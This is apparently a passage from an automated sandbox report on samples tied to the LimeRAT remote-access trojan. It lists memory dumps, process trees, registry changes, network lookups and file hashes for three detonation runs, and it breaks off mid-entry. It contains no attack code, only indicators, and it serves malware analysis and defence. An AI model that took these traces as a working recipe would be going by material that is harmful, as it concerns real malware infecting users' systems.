memory/3904-285-0x00007FF80CC80000-0x00007FF80CC99000-memory.dmp

memory/3904-287-0x00007FF809B40000-0x00007FF809B63000-memory.dmp

memory/3904-288-0x00007FFFFD3C0000-0x00007FFFFD536000-memory.dmp

memory/3904-289-0x00007FF80CC60000-0x00007FF80CC79000-memory.dmp

memory/3904-294-0x00007FF8136F0000-0x00007FF8136FD000-memory.dmp

memory/3904-295-0x00007FF8037E0000-0x00007FF803813000-memory.dmp

memory/3904-297-0x00007FFFFD2F0000-0x00007FFFFD3BD000-memory.dmp

memory/3904-298-0x00007FFFFA710000-0x00007FFFFAC32000-memory.dmp

memory/3904-300-0x00007FF8046D0000-0x00007FF8046E4000-memory.dmp

memory/3904-302-0x00007FFFFD1D0000-0x00007FFFFD2EC000-memory.dmp

memory/3904-301-0x00007FF8135B0000-0x00007FF8135BD000-memory.dmp

memory/3904-311-0x00007FFFFD540000-0x00007FFFFDB2E000-memory.dmp

memory/3904-360-0x00007FFFFD540000-0x00007FFFFDB2E000-memory.dmp

memory/3904-361-0x00007FF812AC0000-0x00007FF812AE4000-memory.dmp

memory/3904-364-0x00007FF8114F0000-0x00007FF81151D000-memory.dmp

memory/3904-362-0x00007FF8138F0000-0x00007FF8138FF000-memory.dmp

memory/3904-366-0x00007FF80CC80000-0x00007FF80CC99000-memory.dmp

memory/3904-369-0x00007FF809B40000-0x00007FF809B63000-memory.dmp

memory/3904-370-0x00007FFFFD3C0000-0x00007FFFFD536000-memory.dmp

memory/3904-373-0x00007FF80CC60000-0x00007FF80CC79000-memory.dmp

memory/3904-374-0x00007FF8136F0000-0x00007FF8136FD000-memory.dmp

memory/3904-375-0x00007FF8037E0000-0x00007FF803813000-memory.dmp

memory/3904-376-0x00007FFFFD2F0000-0x00007FFFFD3BD000-memory.dmp

memory/3904-378-0x00007FFFFA710000-0x00007FFFFAC32000-memory.dmp

memory/3904-379-0x00007FF8046D0000-0x00007FF8046E4000-memory.dmp

memory/3904-380-0x00007FF8135B0000-0x00007FF8135BD000-memory.dmp

memory/3904-381-0x00007FFFFD1D0000-0x00007FFFFD2EC000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win7-20240221-en

Max time kernel

122s

Max time network

160s

Command Line

"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.exe.xml"

Signatures

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\DomainSuggestion C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\SearchScopes C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000112dd71d930ff24b8b2b71a2c228122b000000000200000000001066000000010000200000008748ae0e53d7b7d8e10227fb523e6877caa290de5333c3148628a0a21efafa15000000000e8000000002000020000000294baf14c0bc66663cc26c8013b7038ec2c8a19691dd401f1a9ad61f6139457920000000b118be860ec5ddcc2b9ae0aeea65d5fed02ff0e7a0a38963a834d7f40b2b56ff40000000aeb0f6f91e00ae40b61fe2bbce4fc713d0966175cded1c17f2acddc711b39f5df6690eb7b0f6d16db2a0619248a6680b2afb682dd9966d1dec2ed3e6aac0063f C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 60b907f3fa6eda01 C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{1C196CE1-DAEE-11EE-B671-4AE872E97954} = "0" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000112dd71d930ff24b8b2b71a2c228122b00000000020000000000106600000001000020000000043938971c8fc981405d2877ccec23bff6007dc6add709c7e4c468a768f6ae14000000000e8000000002000020000000fbd886e9b50be3dda825392e715f26431dfe78288068628929df910379691f7890000000772831791521d9a023c868a0c4704dd63021417295ce378193673fc1ef12b93fc1afab5f1c71188d3dc955605b52d1b32fcb944988a3906c77f9f00c38010c84d691a52eccf15a79b46e16b34e2cb6a1f1b05386dbf194cc65fcdeb2cbdfde53fe8ff629047c77d9cc32f0faae7f5c17cd71433155221f9c0fdefaea684d2baedb3bd3fe2405402f63e3bf84079e542440000000c3d12ab7a38fe9aa0141e03647bff6a9e04d01d8f164d8395270fe4c6aa3bebdd3951360dc08cc9561ce20e4d57f5d3f6d8ab4293998e3358002de15cd4c73d7 C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "415804559" C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\IEXPLORE.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2740 wrote to memory of 2124 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE C:\Program Files (x86)\Internet Explorer\iexplore.exe
PID 2740 wrote to memory of 2124 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE C:\Program Files (x86)\Internet Explorer\iexplore.exe
PID 2740 wrote to memory of 2124 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE C:\Program Files (x86)\Internet Explorer\iexplore.exe
PID 2740 wrote to memory of 2124 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE C:\Program Files (x86)\Internet Explorer\iexplore.exe
PID 2124 wrote to memory of 2984 N/A C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\IEXPLORE.EXE
PID 2124 wrote to memory of 2984 N/A C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\IEXPLORE.EXE
PID 2124 wrote to memory of 2984 N/A C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\IEXPLORE.EXE
PID 2124 wrote to memory of 2984 N/A C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\IEXPLORE.EXE
PID 2984 wrote to memory of 2628 N/A C:\Program Files\Internet Explorer\IEXPLORE.EXE C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2984 wrote to memory of 2628 N/A C:\Program Files\Internet Explorer\IEXPLORE.EXE C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2984 wrote to memory of 2628 N/A C:\Program Files\Internet Explorer\IEXPLORE.EXE C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2984 wrote to memory of 2628 N/A C:\Program Files\Internet Explorer\IEXPLORE.EXE C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Processes

C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE

"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.exe.xml"

C:\Program Files (x86)\Internet Explorer\iexplore.exe

"C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome

C:\Program Files\Internet Explorer\IEXPLORE.EXE

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" -nohome

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2984 CREDAT:275457 /prefetch:2

Network

Country Destination Domain Proto
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\CabD26D.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 753df6889fd7410a2e9fe333da83a429
SHA1 3c425f16e8267186061dd48ac1c77c122962456e
SHA256 b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA512 9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

C:\Users\Admin\AppData\Local\Temp\TarD479.tmp

MD5 dd73cead4b93366cf3465c8cd32e2796
SHA1 74546226dfe9ceb8184651e920d1dbfb432b314e
SHA256 a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512 ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 deb271aa8a19b3c47c540f3c83dd6d34
SHA1 125045d1dfbe02bbfc70528df1524e8fdef9fffe
SHA256 523144718d369764727f3a325c45d58424b59aae3e147de1f895e3f55a066ff3
SHA512 abee702fa85aa4c12397fa84fa0917951490861f7b006017c72e815ec584702acfd097362812b487c4c7dbc9ebf8d05b1c76f87187b2291fa0f5f72d98d0e161

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e51418f1d9e47197241a293c022803e9
SHA1 d1124138c32084bda28e429823ec69d480e4a716
SHA256 5d7b360029b6f8d18fd0a55f4f689d9ed8df84817dfd3c41c69dde6032cb53a6
SHA512 3c64003bc6a3b7d808bc34a5cb8d4a24a705f31198813da365c456afe17f534d6e8acfc15cc8065dc157c6c79aacd0ba6926b7fe5e016f3c897014a96ba400c6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 0fc6543d31f0d4d2eb5c8db3e4727ef0
SHA1 50f6b013904be788e957c3710253acfc91fbb14e
SHA256 08363d80a172fba04ebd053c8d505e5614b9d47a93a5198a16ea51e2b2810083
SHA512 6697b691c6929771dbe0ec8450255e3e805130c2439979d9fe48bd0062aa8292d0eb6ecd2d311b55807a9bac5ab7c379837af5b3e04cca16ac0aa1b5530ae82a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ee8ccbc357bca96f7323d67e1d38b20b
SHA1 7dde1d3f00d2a617e4878ca5e7b8d6f19af98de8
SHA256 3c20945c4ae1d19ba37bdb5dd2d4dd6c74223d3f19541cb4fdd55b56fa37cc78
SHA512 450d634ba32ff45b018132d069dc4981e1b4ed07e9a8e1ce07a9508818359c4c11e72856926c6d82bb3520073065ba4d499999913db3ba7c7a4cae6ddc8332ab

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 17e227891c56e1c64f28c20f519d72b6
SHA1 1b70cd63773bb505cacc97e1669a7285a8147193
SHA256 40dcdda6dcd3b9e75267e0ae749b1398ef2b691b030c938c21aa888caeb11fc4
SHA512 81e86678513b82074254515ab6a498c5fac9ea3558c2bf91b60916122bcf29b573dc7ed468cb2d2ecdc5c665a010f955808e26d978d08074d2e98bbcf8ccff22

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 1b1058530cb3fa24a2b1486a2aad0f13
SHA1 15e27c46d9c1351991d799a088f2aa77748ffb61
SHA256 b735a7128e98b6c058f4e69e7c3e9ca0f3e6a93d612604855a19d9991eb1174e
SHA512 666a3dc68362d7bf24bcc1c6dc1aec4b83bb68b353162af0e09de0717e38a8fe7aca4ef54dd92c2dbb02f95f98e36d71f5cb4be619208236f992f3562aa759c0

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 47b88c5c0b890b52757136ba6db5f7c2
SHA1 c3c0ba5eaae3c21daa7730dbbbd5d07d661cda85
SHA256 28f4915973fb96fff2ed8bf3fcbb16e2bc0f60f006380e67b9a1bc626c1f314d
SHA512 5980bbcca66c7e717398f5b405da816a158bfaf8c7117535cd093b7fd8e1f62328b90cdb5982098c2be32bd6940a0f7b9f1d0b8dd8281cb1792dfc3d730c7014

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d942b5b65d200fa11bcf5b552e0f5143
SHA1 c028382d43d9f130def3cdc6dff83350974da680
SHA256 381a8781bd811d23611b6c55b4a9bb888f4a72e20d09074f59b95bf41f142668
SHA512 96d6f35950c2deb2c7a4543ba0278236d3447bc41dcc0a7aeb6c2aefe0c2eb00813e19788209ada19047751c5e988e3244045e7502f3e330584795c9bbe9bc92

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 2e7214fcc2c66bc3147aa757278be2ac
SHA1 eafe4098416cdff5125b98f01cfb0872f1de98b1
SHA256 146ee6e36f15b0ef4fef6be06b501a88522326f461730277a8045dbb2485d654
SHA512 b793e6870c1f220099cc65112ca8d1fee0683c8b373977785e82c07f3d308a114ed1471a2d6426a5b854933a848c5c647e6bee5658ea59d3bbb2625d8d5b56b0

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 28da41c28333a82270e4dc6a54f0be9b
SHA1 ef6a35133f7d4b683fd663f8a44cf63c3aa75878
SHA256 ab3ea3b1619d6a72dd65c083eb379a9be1860ab2adeab829048c138dc87d14e7
SHA512 4b711e898024b0d43c7ff7f20f2390ba5bdb655a46aa004268e76086d7d3f2f8c15300dba52dbe72458e0722351e6c211c63468edc88189bd982d1e5b50e2077

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 3d3ef502b56da851a272cbed23aacabd
SHA1 889d07585ea09c51baa67c3a8b2f5f296b24c563
SHA256 753e1890817e6dffb6e5b3108e6f17c3f4111d1e5658ea62cbb8ad0cc46057d5
SHA512 2a0cdea1b6a0d6f279c1ff9326eea2ceb0886ce4e2169a7c4a45865206ce91e19ed9dc29f92dfa42ce7fbdebf47d3434b6cdaabcd80421d16c4f70b4bd6cbca4

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ffcbea1928c6278a7e6f8b87f1434ccd
SHA1 2385bf3b4c734c82e47287d8e66a2bd87aec0f5b
SHA256 322e53016e461bb04be01f7a1c62bb07a6009ed327c9b814f37a18f08a740254
SHA512 e4eded9e776f2e19a24ecbb2084d3eeb30fc6d7a9dca90dc4223441b718af69def4a59a089923b7d20a43786c7b565b66f74609304974fd9a2a9280f7a6f83cc

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 080c10283ac04b08e4caaf6acdf02850
SHA1 977b3ea622b85ef9240ecd133020035a35f9fcc8
SHA256 b0be21941b203a4dfb7fec30c1735f0276e67e0f9df6a948c8d453fc6b8ecbe9
SHA512 1efd0ac5e6dc07a85b23c84b91437b2d3a3c7ca53b70a585648d35681b51c82d5bbabc917e28eaf6db1eb42e3278fd93201e78cb58381bae47ac954060b924cf

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 512d0077f49d9c83a5bf3418b4554dd0
SHA1 c348b3dea34cc86cd4c7fcf3d9e5ca9eecc0d654
SHA256 982c060576983a452107f8d43610402d37e0db922c6662f80b9091440c5beb44
SHA512 5c5af63d276413332b70c8000b41e6f1f8348653a0911b1bf9f1330af105ed5bdf3397b1c4a1d4389dd3a0ed020d36d8764814a1f0984b1af1998deb9cc544b0

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 a0e2c331d067f5f78bb13e02d5e68beb
SHA1 8444754b4cb42a4a65219c641d59ee163adbce3c
SHA256 da3ad46a5daf47e9db4e03103cff64d5c40927292082a0f528f1c5ce324e71d6
SHA512 1589211e37246277f043df4d556f0ad3b7b2daa5112bfa72364b5e9bc84c3c654a49f9ee6134473cca9785305f6e35d37727f958679866b309fec93dc57dcf25

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 28f3223c2e967e156ef212374e4b850f
SHA1 b6c8cb2320dab7935950dacf976829e7accf9aca
SHA256 0614220ea41bc399c24fc7580889232a91b024312b5472fb4ce83bbd6d6830fa
SHA512 84f910dabf294665288ea9218348d44e47507dc44003ba2c57b12611eff3a6d0eb607a7f7660b8c7b8fcdc26761d12c53ce68ac2975732a981fbbaa336df6345

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ef972c5f4ee3dca0688de0e5859c9486
SHA1 ac7407e08aea3377827a6eabebb49f7d115d4e7d
SHA256 50f54cd99a004ada509b6163085c1ca89e45c4f198d412934ef0d34c1d96b3e2
SHA512 f99bc3ab2ec0ca80928c11a645fbf56862dc056efda0887c7a82c049b01d82f5db7fc690e854b8f107f45b83ee45a705ffca0ddbfa0fcd95b5f2cf41bf30400b

Analysis: behavioral14

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

148s

Max time network

161s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\GeoIP.dat

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\GeoIP.dat

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 207.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 175.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 210.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 199.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 32.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral15

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

122s

Max time network

127s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\PORTS.dat

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\dat_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\.dat C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\dat_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\dat_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\dat_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\dat_auto_file C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\.dat\ = "dat_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\dat_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\PORTS.dat

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\PORTS.dat

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

